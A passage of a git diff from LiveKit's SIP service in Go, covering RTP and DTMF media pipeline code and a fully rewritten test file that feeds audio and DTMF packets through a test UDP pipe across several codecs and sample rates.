if p.conf.opts.DTMFAudio { + // Add separate mixer for DTMF audio. + // TODO: optimize, if we'll ever need this code path + mix, err := mixer.NewMixer(audioOut, rtp.DefFrameDur, 1, mixer.WithOutputChannel()) + if err != nil { + return err + } + audioOut = mix.NewInput() + dtmfAudio = mix.NewInput() + p.dtmfMixer = mix + p.mixerToPort = audioOut + } + + p.dtmfToPort = &dtmfOutWriter{ + log: p.conf.log, + ctx: p.ctx, + dtmfEvents: s.NewStream(mc.Audio.DTMFType, dtmf.SampleRate), + dtmfAudio: dtmfAudio, + getTimestamp: audioOutRTP.GetCurrentTimestamp, + } + } + return nil +} + +func (p *mediaPortPipeline) rtpLoop() { + // Need a loop to process all incoming packets. + for { + r, ssrc, err := p.sess.AcceptStream() + if err != nil { + if !errors.Is(err, io.EOF) && !errors.Is(err, os.ErrDeadlineExceeded) && !strings.Contains(err.Error(), "closed") { + p.conf.log.Errorw("cannot accept RTP stream", err) + } + return + } + p.conf.stats.Streams.Add(1) + if p.conf.onNewSSRC != nil { + p.conf.onNewSSRC() + } + log := p.conf.log.WithValues("ssrc", ssrc) + log.Debugw("accepting RTP stream") + p.rtpLoopWG.Go(func() { p.rtpReadLoop(log, r) }) + } +} + +func (p *mediaPortPipeline) rtpReadLoop(log logger.Logger, r rtp.ReadStream) { + const maxErrors = 50 // 1 sec, given 20 ms frames + buf := make([]byte, rtp.MTUSize+1) + overflow := false + var ( + h rtp.Header + errorCnt int + ) + for { + h = rtp.Header{} + n, err := r.ReadRTP(&h, buf) + if err == io.EOF { + return + } else if err != nil { + log.Errorw("read RTP failed", err) + return + } + if p.conf.onPacket != nil { + p.conf.onPacket() + } + p.conf.stats.Packets.Add(1) + if n > rtp.MTUSize { + if !overflow { + overflow = true + log.Errorw("RTP packet is larger than MTU limit", nil, "payloadSize", n) + } + p.conf.stats.IgnoredPackets.Add(1) + continue // ignore partial messages + } + + ptr := p.muxToRoom.Load() + if ptr == nil { + p.conf.stats.IgnoredPackets.Add(1) + continue + } + hnd := *ptr + if hnd == nil { + p.conf.stats.IgnoredPackets.Add(1) + continue + } + err = hnd.HandleRTP(&h, buf[:n]) + if err != nil { + log := log.WithValues( + "payloadSize", n, + "rtpHeader", h, + "pipeline", hnd.String(), + "errorCount", errorCnt, + ) + log.Debugw("handle RTP failed", "error", err) + errorCnt++ + p.conf.stats.FailedPackets.Add(1) + if errorCnt >= maxErrors { + log.Errorw("killing RTP loop due to persisted errors", err) + return + } + continue + } + p.conf.stats.InputPackets.Add(1) + errorCnt = 0 + } +} + +func (p *mediaPortPipeline) Close() error { + if p.cancel != nil { + p.cancel() // stop active DTMF digit send + } + var errs []error + if p.sess != nil { + errs = append(errs, p.sess.Close()) + p.rtpLoopWG.Wait() + } + if closer := p.muxToRoom.Swap(nil); closer != nil { + (*closer).Close() // Doesn't propagate onwards + } + if p.audioToRoom != nil { + p.audioToRoom.Close() + } + if p.dtmfToRoom != nil { + p.dtmfToRoom.Close() + } + if p.dtmfMixer != nil { + p.dtmfMixer.Stop() + } + if p.audioToPort != nil { + errs = append(errs, p.audioToPort.Close()) + } + if p.dtmfToPort != nil { + errs = append(errs, p.dtmfToPort.Close()) + } + return errors.Join(errs...) +} + +func NewSerializedRTPHandler(w rtp.HandlerCloser) rtp.HandlerCloser { + return &serializedRTPHandler{w: w} +} + +type serializedRTPHandler struct { + mu sync.Mutex + w rtp.HandlerCloser +} + +func (s *serializedRTPHandler) String() string { + return s.w.String() +} + +func (s *serializedRTPHandler) HandleRTP(h *rtp.Header, payload []byte) error { + s.mu.Lock() + defer s.mu.Unlock() + return s.w.HandleRTP(h, payload) +} + +func (s *serializedRTPHandler) Close() { + s.mu.Lock() + defer s.mu.Unlock() + s.w.Close() +} + +// dtmfOutWriter sends SipDTMF as RFC 4733 telephone-events (optional in-band audio). +type dtmfOutWriter struct { + log logger.Logger + + mu sync.Mutex + ctx context.Context // canceled by pipeline Close, aborts an in-flight digit train + dtmfEvents *rtp.Stream + dtmfAudio msdk.PCM16Writer + getTimestamp func() uint32 +} + +func (w *dtmfOutWriter) String() string { + return fmt.Sprintf("dtmfOutWriter(dtmfAudio: %v)", w.dtmfAudio != nil) +} + +func (w *dtmfOutWriter) SampleRate() int { + return dtmf.SampleRate +} + +func (w *dtmfOutWriter) Close() error { + if w == nil || w.dtmfAudio == nil { + return nil + } + return w.dtmfAudio.Close() +} + +func (w *dtmfOutWriter) WriteSample(sample string) error { + if len(sample) == 0 { + return fmt.Errorf("empty DTMF sample") + } + var errs []error + for i, digit := range sample { + if digit == 'w' { // Supported pause + continue + } + if _, tones := dtmf.Tone(byte(digit)); len(tones) == 0 { + errs = append(errs, fmt.Errorf("invalid DTMF sample %v at position %d", digit, i)) + } + } + if len(errs) > 0 { + return errors.Join(errs...) + } + w.mu.Lock() + defer w.mu.Unlock() + var rtpTs uint32 + if w.dtmfEvents != nil { + rtpTs = w.getTimestamp() // TODO: Maybe time to introduce the auto timestamp feature? + } + err := dtmf.Write(w.ctx, w.dtmfAudio, w.dtmfEvents, rtpTs, sample) + if err != nil { + return err + } + return nil +} diff --git a/pkg/sip/media_pipeline_test.go b/pkg/sip/media_pipeline_test.go index 22dc2ffa1..ef7f79306 100644 --- a/pkg/sip/media_pipeline_test.go +++ b/pkg/sip/media_pipeline_test.go @@ -1,715 +1,715 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "fmt" - "math" - "slices" - "strings" - "sync" - "sync/atomic" - "testing" - "time" - - "github.com/pion/rtp" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/dtmf" - "github.com/livekit/media-sdk/g711" - "github.com/livekit/media-sdk/opus" - msrtp "github.com/livekit/media-sdk/rtp" - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/protocol/logger" -) - -const testDTMFPT = byte(101) - -func audioCodecByName(t testing.TB, name string) msdk.AudioCodec { - t.Helper() - for _, c := range msdk.Codecs() { - if strings.EqualFold(c.Info().SDPName, name) { - ac, ok := c.(msdk.AudioCodec) - require.True(t, ok, "codec %s is not audio", name) - return ac - } - } - t.Skipf("codec %s is not registered", name) - return nil -} - -// Opus is not a registered SIP SDP codec; wrap media-sdk/opus so the pipeline -// can encode/decode at RoomSampleRate (no resample). -func testOpusCodec(t testing.TB) msdk.AudioCodec { - t.Helper() - log := logger.NewTestLogger(t) - return msdk.NewAudioCodec(msdk.CodecInfo{ - SDPName: "opus/48000", - SampleRate: RoomSampleRate, - RTPClockRate: RoomSampleRate, - }, - func(w msdk.PCM16Writer) msdk.WriteCloser[opus.Sample] { - d, err := opus.Decode(w, 1, log) - if err != nil { - panic(err) - } - return d - }, - func(w msdk.WriteCloser[opus.Sample]) msdk.PCM16Writer { - e, err := opus.Encode(w, 1, log) - if err != nil { - panic(err) - } - return e - }, - ) -} - -func testAudioPT(c msdk.AudioCodec) byte { - info := c.Info() - if info.RTPIsStatic { - return info.RTPDefType - } - return 96 -} - -type dtmfCollector struct { - mu sync.Mutex - events []string -} - -func (c *dtmfCollector) String() string { - c.mu.Lock() - defer c.mu.Unlock() - res := "" - for _, event := range c.events { - res += event - } - return res -} - -func (c *dtmfCollector) SampleRate() int { return dtmf.SampleRate } - -func (c *dtmfCollector) Close() error { return nil } - -func (c *dtmfCollector) WriteSample(sample string) error { - c.mu.Lock() - defer c.mu.Unlock() - c.events = append(c.events, sample) - return nil -} - -func (c *dtmfCollector) snapshot() []string { - c.mu.Lock() - defer c.mu.Unlock() - out := make([]string, len(c.events)) - copy(out, c.events) - return out -} - -// pcmCollector accumulates decoded room audio. The pipeline writes from the RTP -// read goroutine while the test reads, so every access is guarded. -type pcmCollector struct { - sampleRate int - - mu sync.Mutex - buf msdk.PCM16Sample -} - -func (c *pcmCollector) String() string { return fmt.Sprintf("pcmCollector(%d)", c.sampleRate) } - -func (c *pcmCollector) SampleRate() int { return c.sampleRate } - -func (c *pcmCollector) Close() error { return nil } - -func (c *pcmCollector) WriteSample(sample msdk.PCM16Sample) error { - c.mu.Lock() - defer c.mu.Unlock() - c.buf = append(c.buf, sample...) - return nil -} - -func (c *pcmCollector) len() int { - c.mu.Lock() - defer c.mu.Unlock() - return len(c.buf) -} - -// since returns a copy of everything written after the first n samples. -func (c *pcmCollector) since(n int) msdk.PCM16Sample { - c.mu.Lock() - defer c.mu.Unlock() - if n >= len(c.buf) { - return nil - } - return slices.Clone(c.buf[n:]) -} - -// pipelineHarness is the durable side of a mediaPort: UDP pipe, pipeline config, -// buffer anchors, and a synthesized MediaConfig. The pipeline itself is swapped -// on configure / reconfigure. -type pipelineHarness struct { - t *testing.T - local *testUDPConn - remote *testUDPConn - port *udpConn - conf *MediaPortPipelineConfig - audioIn *msdk.WriteCloserSwitch[msdk.PCM16Sample] - audioOut *msdk.WriteCloserSwitch[msdk.PCM16Sample] - dtmfIn *msdk.WriteCloserSwitch[string] - dtmfOut *msdk.WriteCloserSwitch[string] - roomAudio *pcmCollector - roomDTMF *dtmfCollector - pipeline *mediaPortPipeline - ssrcCount atomic.Uint64 - packetCount atomic.Uint64 - codec msdk.AudioCodec - audioPT byte - dtmfPT byte -} - -func newPipelineHarness(t *testing.T, sampleRate int) *pipelineHarness { - t.Helper() - local, remote := newUDPPipe() - log := logger.NewTestLogger(t) - h := &pipelineHarness{ - t: t, - local: local, - remote: remote, - port: newUDPConn(log, local, false), - audioIn: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](sampleRate), - audioOut: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](sampleRate), - dtmfIn: msdk.NewWriteCloserSwitch[string](dtmf.SampleRate), - dtmfOut: msdk.NewWriteCloserSwitch[string](dtmf.SampleRate), - roomAudio: &pcmCollector{sampleRate: sampleRate}, - roomDTMF: &dtmfCollector{}, - } - h.audioIn.Swap(h.roomAudio) - h.dtmfIn.Swap(h.roomDTMF) - h.conf = &MediaPortPipelineConfig{ - log: log, - opts: &MediaOptions{}, - stats: &PortStats{}, - onNewSSRC: func() bool { - h.ssrcCount.Add(1) - return true - }, - onPacket: func() { - h.packetCount.Add(1) - }, - } - t.Cleanup(func() { - if h.pipeline != nil { - _ = h.pipeline.Close() - } - _ = local.Close() - _ = remote.Close() - }) - return h -} - -func (h *pipelineHarness) mediaConfig() *sdp.MediaConfig { - return &sdp.MediaConfig{ - Local: h.local.addr, - Remote: h.remote.addr, - Audio: sdp.AudioConfig{ - Codec: h.codec, - Type: h.audioPT, - DTMFType: h.dtmfPT, - }, - } -} - -func (h *pipelineHarness) configure(codec msdk.AudioCodec, audioPT, dtmfPT byte, dtmfAudio bool) { - h.t.Helper() - h.codec = codec - h.audioPT = audioPT - h.dtmfPT = dtmfPT - h.conf.opts = &MediaOptions{DTMFAudio: dtmfAudio} - - pipe, err := NewMediaPortPipeline(h.conf, h.mediaConfig(), h.port, h.audioIn, h.dtmfIn, h.audioIn.SampleRate()) - require.NoError(h.t, err) - audioToPort, dtmfToPort := pipe.GetConnectors() - h.pipeline = pipe - if old := h.audioOut.Swap(audioToPort); old != nil { - _ = old.Close() - } - if old := h.dtmfOut.Swap(dtmfToPort); old != nil { - _ = old.Close() - } -} - -func (h *pipelineHarness) reconfigure(codec msdk.AudioCodec, audioPT, dtmfPT byte, dtmfAudio bool) { - h.t.Helper() - if h.pipeline != nil { - require.NoError(h.t, h.pipeline.Close()) - } - h.port.Reopen() - h.ssrcCount.Store(0) - h.packetCount.Store(0) - h.configure(codec, audioPT, dtmfPT, dtmfAudio) -} - -func (h *pipelineHarness) drainRemote() { - for { - select { - case <-h.remote.buf: - default: - return - } - } -} - -func (h *pipelineHarness) roomFrame() msdk.PCM16Sample { - sampleRate := h.audioOut.SampleRate() - n := sampleRate / int(time.Second/msrtp.DefFrameDur) - return tonePCM(sampleRate, n, 10000) -} - -func (h *pipelineHarness) codecFrame() msdk.PCM16Sample { - rate := h.codec.Info().SampleRate - n := rate / int(time.Second/msrtp.DefFrameDur) - return tonePCM(rate, n, 12000) -} - -func (h *pipelineHarness) readRemotePacket(timeout time.Duration) (*rtp.Packet, bool) { - h.t.Helper() - select { - case raw := <-h.remote.buf: - var pkt rtp.Packet - require.NoError(h.t, pkt.Unmarshal(raw)) - return &pkt, true - case <-time.After(timeout): - return nil, false - } -} - -func (h *pipelineHarness) injectRTP(pkt *rtp.Packet) { - h.t.Helper() - raw, err := pkt.Marshal() - require.NoError(h.t, err) - _, err = h.remote.WriteToUDPAddrPort(raw, h.local.addr) - require.NoError(h.t, err) -} - -func (h *pipelineHarness) injectAudio(ssrc uint32, seq uint16, ts uint32, pcm msdk.PCM16Sample) { - h.t.Helper() - clock := h.codec.Info().RTPClockRate - if clock == 0 { - clock = h.codec.Info().SampleRate - } - var buf msrtp.Buffer - stream := msrtp.NewSeqWriter(&buf).NewStream(h.audioPT, clock) - enc := msrtp.EncodePCM(stream, h.codec) - require.NoError(h.t, enc.WriteSample(pcm)) - require.NoError(h.t, enc.Close()) - require.NotEmpty(h.t, buf, "codec produced no RTP") - for i, pkt := range buf { - pkt.Header.SSRC = ssrc - pkt.Header.SequenceNumber = seq + uint16(i) - if i == 0 { - pkt.Header.Timestamp = ts - } - h.injectRTP(pkt) - } -} - -func (h *pipelineHarness) injectDTMFDigit(ssrc uint32, digit string, ts uint32) { - h.t.Helper() - require.NotEmpty(h.t, digit) - pt := h.dtmfPT - if pt == 0 { - pt = testDTMFPT - } - var payload [4]byte - n, err := dtmf.Encode(payload[:], dtmf.Event{ - Digit: digit[0], - Volume: 10, - Dur: 800, - End: true, - }) - require.NoError(h.t, err) - h.injectRTP(&rtp.Packet{ - Header: rtp.Header{ - Version: 2, - PayloadType: pt, - SequenceNumber: 1, - Timestamp: ts, - SSRC: ssrc, - Marker: true, - }, - Payload: payload[:n], - }) -} - -func (h *pipelineHarness) runDirections(t *testing.T) { - t.Run("audio_from_room", h.testAudioFromRoom) - t.Run("audio_from_port", h.testAudioFromPort) - t.Run("dtmf_from_room", h.testDTMFFromRoom) - t.Run("dtmf_from_port", h.testDTMFFromPort) -} - -func (h *pipelineHarness) testAudioFromRoom(t *testing.T) { - h.drainRemote() - sample := h.roomFrame() - for range 5 { - require.NoError(t, h.audioOut.WriteSample(sample)) - } - deadline := time.Now().Add(time.Second) - found := false - for time.Now().Before(deadline) && !found { - pkt, ok := h.readRemotePacket(50 * time.Millisecond) - if !ok { - continue - } - if pkt.PayloadType == h.audioPT && len(pkt.Payload) > 0 { - found = true - } - } - require.True(t, found, "expected RTP audio toward the peer") -} - -func (h *pipelineHarness) testAudioFromPort(t *testing.T) { - before := h.roomAudio.len() - packetsBefore := h.packetCount.Load() - clock := h.codec.Info().RTPClockRate - if clock == 0 { - clock = h.codec.Info().SampleRate - } - samplesPerFrame := uint32(clock / int(time.Second/msrtp.DefFrameDur)) - sample := h.codecFrame() - for i := uint16(0); i < 5; i++ { - h.injectAudio(0xA11CE, 1+i, samplesPerFrame+uint32(i)*samplesPerFrame, sample) - } - require.Eventually(t, func() bool { - return h.packetCount.Load() >= packetsBefore+5 - }, time.Second, 5*time.Millisecond, "RTP should be accepted") - require.Eventually(t, func() bool { - return h.roomAudio.len() > before - }, time.Second, 5*time.Millisecond, "decoded PCM should reach room (packets=%d input=%d failed=%d ignored=%d room=%d)", - h.packetCount.Load(), - h.pipeline.conf.stats.InputPackets.Load(), - h.pipeline.conf.stats.FailedPackets.Load(), - h.pipeline.conf.stats.IgnoredPackets.Load(), - h.roomAudio.len(), - ) - require.Greater(t, pcmEnergy(h.roomAudio.since(before)), int64(0), "decoded room audio should carry energy") -} - -func (h *pipelineHarness) testDTMFFromRoom(t *testing.T) { - h.drainRemote() - if h.dtmfPT == 0 { - require.NoError(t, h.dtmfOut.WriteSample("5")) - h.drainRemote() - return - } - - // dtmf.Write paces a 250ms tone on a real ticker. Assert the first - // telephone-event and let pipeline Close cancel the rest. - go func() { - _ = h.dtmfOut.WriteSample("5") - }() - deadline := time.Now().Add(time.Second) - for time.Now().Before(deadline) { - pkt, ok := h.readRemotePacket(20 * time.Millisecond) - if ok && pkt.PayloadType == h.dtmfPT { - return - } - } - t.Fatal("DTMF enabled: expected telephone-event RTP") -} - -func (h *pipelineHarness) testDTMFFromPort(t *testing.T) { - before := len(h.roomDTMF.snapshot()) - packetsBefore := h.packetCount.Load() - h.injectDTMFDigit(0xD7DF, "7", 8000) - require.Eventually(t, func() bool { - return h.packetCount.Load() > packetsBefore - }, time.Second, 5*time.Millisecond, "RTP should be accepted") - if h.dtmfPT == 0 { - require.Equal(t, before, len(h.roomDTMF.snapshot()), "DTMF disabled: must not reach room") - return - } - require.Eventually(t, func() bool { - return len(h.roomDTMF.snapshot()) > before - }, time.Second, 5*time.Millisecond) - got := h.roomDTMF.snapshot()[before:] - if assert.NotEmpty(t, got) { - assert.Equal(t, "7", got[0]) - } -} - -func tonePCM(rate, samples int, amp int16) msdk.PCM16Sample { - out := make(msdk.PCM16Sample, samples) - for i := range out { - // Simple square-ish tone so PCMU round-trip keeps energy. - if (i/(rate/400))%2 == 0 { - out[i] = amp - } else { - out[i] = -amp - } - } - return out -} - -func pcmEnergy(s msdk.PCM16Sample) int64 { - var sum int64 - for _, v := range s { - if v < 0 { - v = -v - } - sum += int64(v) - } - return sum -} - -type testCodecSpec struct { - name string - sdp string -} - -type testDTMFSpec struct { - name string - pt byte - audio bool -} - -var ( - pipelineTestCodecs = allAudioCodecs() - pipelineTestRates = []int{8000, 16000, 48000} - pipelineTestDTMF = []testDTMFSpec{ - {name: "dtmf_disabled", pt: 0, audio: false}, - {name: "dtmf_event", pt: testDTMFPT, audio: false}, - {name: "dtmf_event_audio", pt: testDTMFPT, audio: true}, - } -) - -func TestMediaPipelinePermutations(t *testing.T) { - for _, spec := range pipelineTestCodecs { - t.Run(spec.Info().SDPName, func(t *testing.T) { - codec := spec.(msdk.AudioCodec) - pt := testAudioPT(codec) - for _, rate := range pipelineTestRates { - for _, d := range pipelineTestDTMF { - t.Run(fmt.Sprintf("%dHz/%s", rate, d.name), func(t *testing.T) { - h := newPipelineHarness(t, rate) - h.configure(codec, pt, d.pt, d.audio) - h.runDirections(t) - }) - } - } - }) - } -} - -func TestMediaPipelineTeardownMultiSSRC(t *testing.T) { - codec := audioCodecByName(t, g711.ULawSDPNameAndRate) - h := newPipelineHarness(t, RoomSampleRate) - h.configure(codec, testAudioPT(codec), testDTMFPT, false) - sample := h.codecFrame() - - h.injectAudio(0x11111111, 1, 160, sample) - h.injectAudio(0x22222222, 1, 160, sample) - - require.Eventually(t, func() bool { - return h.ssrcCount.Load() >= 2 && h.packetCount.Load() >= 2 - }, time.Second, 5*time.Millisecond, "expected AcceptStream and HandleRTP for two SSRCs") - assert.Equal(t, uint64(2), h.ssrcCount.Load()) - assert.Equal(t, uint64(2), h.packetCount.Load()) - - done := make(chan error, 1) - go func() { - done <- h.pipeline.Close() - }() - select { - case err := <-done: - require.NoError(t, err) - case <-time.After(2 * time.Second): - t.Fatal("pipeline.Close hung with multiple SSRCs") - } -} - -func TestMediaPipelineConcurrentSSRCPump(t *testing.T) { - const ( - ssrcCount = 3 - packets = 30 // Currently the built-in limit of media-sdk's ssrc mux - ) - codec := audioCodecByName(t, g711.ULawSDPNameAndRate) - h := newPipelineHarness(t, RoomSampleRate) - h.configure(codec, testAudioPT(codec), testDTMFPT, false) - - silence := make(msdk.PCM16Sample, codec.Info().SampleRate/int(time.Second/msrtp.DefFrameDur)) - var encoded msrtp.Buffer - clock := codec.Info().RTPClockRate - if clock == 0 { - clock = codec.Info().SampleRate - } - enc := msrtp.EncodePCM(msrtp.NewSeqWriter(&encoded).NewStream(h.audioPT, clock), h.codec) - require.NoError(t, enc.WriteSample(silence)) - require.NoError(t, enc.Close()) - require.NotEmpty(t, encoded, "codec produced no RTP") - payload := slices.Clone(encoded[0].Payload) - - pkt := &rtp.Packet{ - Header: rtp.Header{ - Version: 2, - PayloadType: h.audioPT, - }, - Payload: payload, - } - for i := range packets { - pkt.SequenceNumber = uint16(i) - pkt.SSRC = uint32(i % ssrcCount) - h.injectRTP(pkt) - } - - require.Eventually(t, func() bool { return h.ssrcCount.Load() == ssrcCount }, time.Second, time.Millisecond, "expected %d SSRCs", ssrcCount) - assert.Eventually(t, func() bool { return h.packetCount.Load() == packets }, time.Second, time.Millisecond, "expected %d packets", packets) - assert.Equal(t, uint64(ssrcCount), h.ssrcCount.Load()) - assert.Equal(t, uint64(packets), h.packetCount.Load()) - - done := make(chan error, 1) - go func() { - done <- h.pipeline.Close() - }() - select { - case err := <-done: - require.NoError(t, err) - case <-time.After(2 * time.Second): - t.Fatal("pipeline.Close hung under concurrent SSRC pumps") - } -} - -func TestMediaPipelineReuseUDPConn(t *testing.T) { - const rate = 48000 - d := pipelineTestDTMF[1] // event-only - - for _, from := range pipelineTestCodecs { - t.Run("from_"+from.Info().SDPName, func(t *testing.T) { - for _, to := range pipelineTestCodecs { - t.Run("to_"+to.Info().SDPName, func(t *testing.T) { - c1 := from.(msdk.AudioCodec) - c2 := to.(msdk.AudioCodec) - h := newPipelineHarness(t, rate) - h.configure(c1, testAudioPT(c1), d.pt, d.audio) - t.Run("gen1", h.runDirections) - h.reconfigure(c2, testAudioPT(c2), d.pt, d.audio) - t.Run("gen2", h.runDirections) - }) - } - }) - } -} - -func generateDTMFPackets(t *testing.T, digits string) [][]*rtp.Packet { - t.Helper() - var buf msrtp.Buffer - packets := make([][]*rtp.Packet, len(digits)) - last := len(buf) - w := msrtp.NewSeqWriter(&buf).NewStream(101, dtmf.SampleRate) - timestamp := uint32(1000) - for i := range digits { - err := dtmf.Write(context.Background(), nil, w, timestamp, digits[i:i+1]) - require.NoError(t, err) - require.NotEmpty(t, buf) - timestamp += uint32(dtmf.SampleRate / 2) - packets[i] = slices.Clone(buf[last:]) - last = len(buf) - } - return packets -} - -func dropPackets(t *testing.T, dropType string, packets []*rtp.Packet) []*rtp.Packet { - t.Helper() - switch dropType { - case "none": - return packets - case "first": - require.Greater(t, len(packets), 3) - return packets[3:] - case "last": - require.Greater(t, len(packets), 3) - return packets[:len(packets)-3] - case "middle": - require.Greater(t, len(packets), 6) - ret := slices.Clone(packets[:3]) - ret = append(ret, packets[len(packets)-3:]...) - return ret - default: - t.Fatal("unknown drop type: " + dropType) - return nil - } -} - -func TestMediaPipelineDTMF(t *testing.T) { - // Multi-digit test, including correct handling of lost packets - digitCases := []string{"1", "12", "123"} - lossCases := []string{"none", "first", "last", "middle"} - - for _, digits := range digitCases { - packets := generateDTMFPackets(t, digits) - for _, lossPackets := range lossCases { - t.Run(fmt.Sprintf("digits=%s/loss=%s", digits, lossPackets), func(t *testing.T) { - got := &dtmfCollector{} - p := &mediaPortPipeline{dtmfHandler: got} - p.lastDTMFEvent.Store(math.MaxUint64) - for _, digitPackets := range packets { - sendPackets := dropPackets(t, lossPackets, digitPackets) - t.Logf("sending %d/%d packets", len(sendPackets), len(digitPackets)) - for _, pkt := range sendPackets { - h := pkt.Header - t.Logf("sending packet: seq=%d, ts=%d, marker=%t", h.SequenceNumber, h.Timestamp, h.Marker) - require.NoError(t, p.handleEventRTP(&h, pkt.Payload)) - } - } - t.Logf("sent: %s", digits) - t.Logf("got: %s", got.String()) - require.Equal(t, digits, got.String()) - }) - } - } -} - -func TestMediaPortDTMFSameTimestamp(t *testing.T) { - // Verify that each distinct event code is still reported even when timestamps are shared. - // The spec is clear on needing a separate timestamp, but some carriers don't adhere to it. - got := &dtmfCollector{} - p := &mediaPortPipeline{dtmfHandler: got} - p.lastDTMFEvent.Store(math.MaxUint64) - digits := "123" - for i := range digits { - var encoded [4]byte - n, err := dtmf.Encode(encoded[:], dtmf.Event{ - Digit: digits[i], - Volume: 10, - Dur: 800, - End: true, - }) - require.NoError(t, err) - h := &rtp.Header{ - Version: 2, - PayloadType: testDTMFPT, - SequenceNumber: uint16(i), - Timestamp: uint32(100000), // Ruse this timestamp for all digits - SSRC: 12345, - Marker: true, - } - require.NoError(t, p.handleEventRTP(h, encoded[:n])) - } - require.Equal(t, digits, got.String()) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "fmt" + "math" + "slices" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/pion/rtp" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/opus" + msrtp "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/protocol/logger" +) + +const testDTMFPT = byte(101) + +func audioCodecByName(t testing.TB, name string) msdk.AudioCodec { + t.Helper() + for _, c := range msdk.Codecs() { + if strings.EqualFold(c.Info().SDPName, name) { + ac, ok := c.(msdk.AudioCodec) + require.True(t, ok, "codec %s is not audio", name) + return ac + } + } + t.Skipf("codec %s is not registered", name) + return nil +} + +// Opus is not a registered SIP SDP codec; wrap media-sdk/opus so the pipeline +// can encode/decode at RoomSampleRate (no resample). +func testOpusCodec(t testing.TB) msdk.AudioCodec { + t.Helper() + log := logger.NewTestLogger(t) + return msdk.NewAudioCodec(msdk.CodecInfo{ + SDPName: "opus/48000", + SampleRate: RoomSampleRate, + RTPClockRate: RoomSampleRate, + }, + func(w msdk.PCM16Writer) msdk.WriteCloser[opus.Sample] { + d, err := opus.Decode(w, 1, log) + if err != nil { + panic(err) + } + return d + }, + func(w msdk.WriteCloser[opus.Sample]) msdk.PCM16Writer { + e, err := opus.Encode(w, 1, log) + if err != nil { + panic(err) + } + return e + }, + ) +} + +func testAudioPT(c msdk.AudioCodec) byte { + info := c.Info() + if info.RTPIsStatic { + return info.RTPDefType + } + return 96 +} + +type dtmfCollector struct { + mu sync.Mutex + events []string +} + +func (c *dtmfCollector) String() string { + c.mu.Lock() + defer c.mu.Unlock() + res := "" + for _, event := range c.events { + res += event + } + return res +} + +func (c *dtmfCollector) SampleRate() int { return dtmf.SampleRate } + +func (c *dtmfCollector) Close() error { return nil } + +func (c *dtmfCollector) WriteSample(sample string) error { + c.mu.Lock() + defer c.mu.Unlock() + c.events = append(c.events, sample) + return nil +} + +func (c *dtmfCollector) snapshot() []string { + c.mu.Lock() + defer c.mu.Unlock() + out := make([]string, len(c.events)) + copy(out, c.events) + return out +} + +// pcmCollector accumulates decoded room audio. The pipeline writes from the RTP +// read goroutine while the test reads, so every access is guarded. +type pcmCollector struct { + sampleRate int + + mu sync.Mutex + buf msdk.PCM16Sample +} + +func (c *pcmCollector) String() string { return fmt.Sprintf("pcmCollector(%d)", c.sampleRate) } + +func (c *pcmCollector) SampleRate() int { return c.sampleRate } + +func (c *pcmCollector) Close() error { return nil } + +func (c *pcmCollector) WriteSample(sample msdk.PCM16Sample) error { + c.mu.Lock() + defer c.mu.Unlock() + c.buf = append(c.buf, sample...) + return nil +} + +func (c *pcmCollector) len() int { + c.mu.Lock() + defer c.mu.Unlock() + return len(c.buf) +} + +// since returns a copy of everything written after the first n samples. +func (c *pcmCollector) since(n int) msdk.PCM16Sample { + c.mu.Lock() + defer c.mu.Unlock() + if n >= len(c.buf) { + return nil + } + return slices.Clone(c.buf[n:]) +} + +// pipelineHarness is the durable side of a mediaPort: UDP pipe, pipeline config, +// buffer anchors, and a synthesized MediaConfig. The pipeline itself is swapped +// on configure / reconfigure. +type pipelineHarness struct { + t *testing.T + local *testUDPConn + remote *testUDPConn + port *udpConn + conf *MediaPortPipelineConfig + audioIn *msdk.WriteCloserSwitch[msdk.PCM16Sample] + audioOut *msdk.WriteCloserSwitch[msdk.PCM16Sample] + dtmfIn *msdk.WriteCloserSwitch[string] + dtmfOut *msdk.WriteCloserSwitch[string] + roomAudio *pcmCollector + roomDTMF *dtmfCollector + pipeline *mediaPortPipeline + ssrcCount atomic.Uint64 + packetCount atomic.Uint64 + codec msdk.AudioCodec + audioPT byte + dtmfPT byte +} + +func newPipelineHarness(t *testing.T, sampleRate int) *pipelineHarness { + t.Helper() + local, remote := newUDPPipe() + log := logger.NewTestLogger(t) + h := &pipelineHarness{ + t: t, + local: local, + remote: remote, + port: newUDPConn(log, local, false), + audioIn: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](sampleRate), + audioOut: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](sampleRate), + dtmfIn: msdk.NewWriteCloserSwitch[string](dtmf.SampleRate), + dtmfOut: msdk.NewWriteCloserSwitch[string](dtmf.SampleRate), + roomAudio: &pcmCollector{sampleRate: sampleRate}, + roomDTMF: &dtmfCollector{}, + } + h.audioIn.Swap(h.roomAudio) + h.dtmfIn.Swap(h.roomDTMF) + h.conf = &MediaPortPipelineConfig{ + log: log, + opts: &MediaOptions{}, + stats: &PortStats{}, + onNewSSRC: func() bool { + h.ssrcCount.Add(1) + return true + }, + onPacket: func() { + h.packetCount.Add(1) + }, + } + t.Cleanup(func() { + if 